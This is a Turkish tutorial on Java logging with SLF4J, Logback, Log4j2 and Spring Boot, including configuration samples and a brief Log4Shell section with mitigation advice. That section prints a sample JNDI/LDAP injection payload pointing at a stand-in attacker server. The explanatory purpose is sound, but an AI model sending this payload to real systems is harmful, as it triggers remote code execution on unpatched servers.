Java’da SLF4j ve Log4j Loglama Rehberi: Spring Boot Logging
Java projelerinde loglama; hata ayıklama, performans izleme ve production sistemlerin takibi için kritik öneme sahiptir. Bu rehberde SLF4J, Logback, Log4j2, Log4Shell güvenlik açığı ve Spring Boot logging config örneklerini öğreneceksiniz.
SLF4J Nedir?
SLF4J (Simple Logging Facade for Java), Java projelerinde kullanılan loglama motorlarını soyutlayan bir arayüzdür.
private static final Logger log =
LoggerFactory.getLogger(HomeController.class);
log.info("Uygulama başladı");
SLF4J vs Logback
| Özellik | SLF4J | Logback |
|---|---|---|
| Tür | Facade | Log motoru |
| Spring Boot | Kullanılır | Varsayılan |
| Performans | Motora bağlı | Yüksek |
Log4j2 Nedir?
Log4j2, yüksek performanslı ve esnek yapılandırma sunan gelişmiş bir loglama motorudur.
<Configuration status="WARN">
<Appenders>
<Console name="Console">
<PatternLayout pattern="%d %-5p %c - %m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
Log4Shell (Log4j Güvenlik Açığı) Nedir?
Log4Shell (CVE-2021-44228), Java dünyasında en çok aranan güvenlik açıklarından biridir. Bu açık sayesinde saldırganlar uzaktan kod çalıştırabilir.
Örnek saldırı payload
${jndi:ldap://attacker-server/exploit}
Korunma yöntemleri
- Log4j2 sürümünü 2.17+ yapın
- JNDI lookup kapatın
- Bağımlılık güvenlik taraması yapın
Spring Boot Logging Config Örneği
logging.level.root=INFO
logging.level.com.example=DEBUG
logging.file.name=logs/app.log
logging.pattern.console=%d{yyyy-MM-dd HH:mm:ss} - %msg%n
Maven Bağımlılıkları
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
</dependency>
Sık Sorulan Sorular
SLF4J nedir?
Java için loglama arayüzüdür.
Log4Shell nedir?
Log4j2 üzerindeki kritik güvenlik açığıdır.
Spring Boot hangi logging kullanır?
Varsayılan olarak Logback kullanır.
Sonuç
En iyi yaklaşım: SLF4J + Logback. İleri performans ihtiyaçlarında Log4j2. Güvenlik için mutlaka Log4Shell güncellemelerini kontrol edin.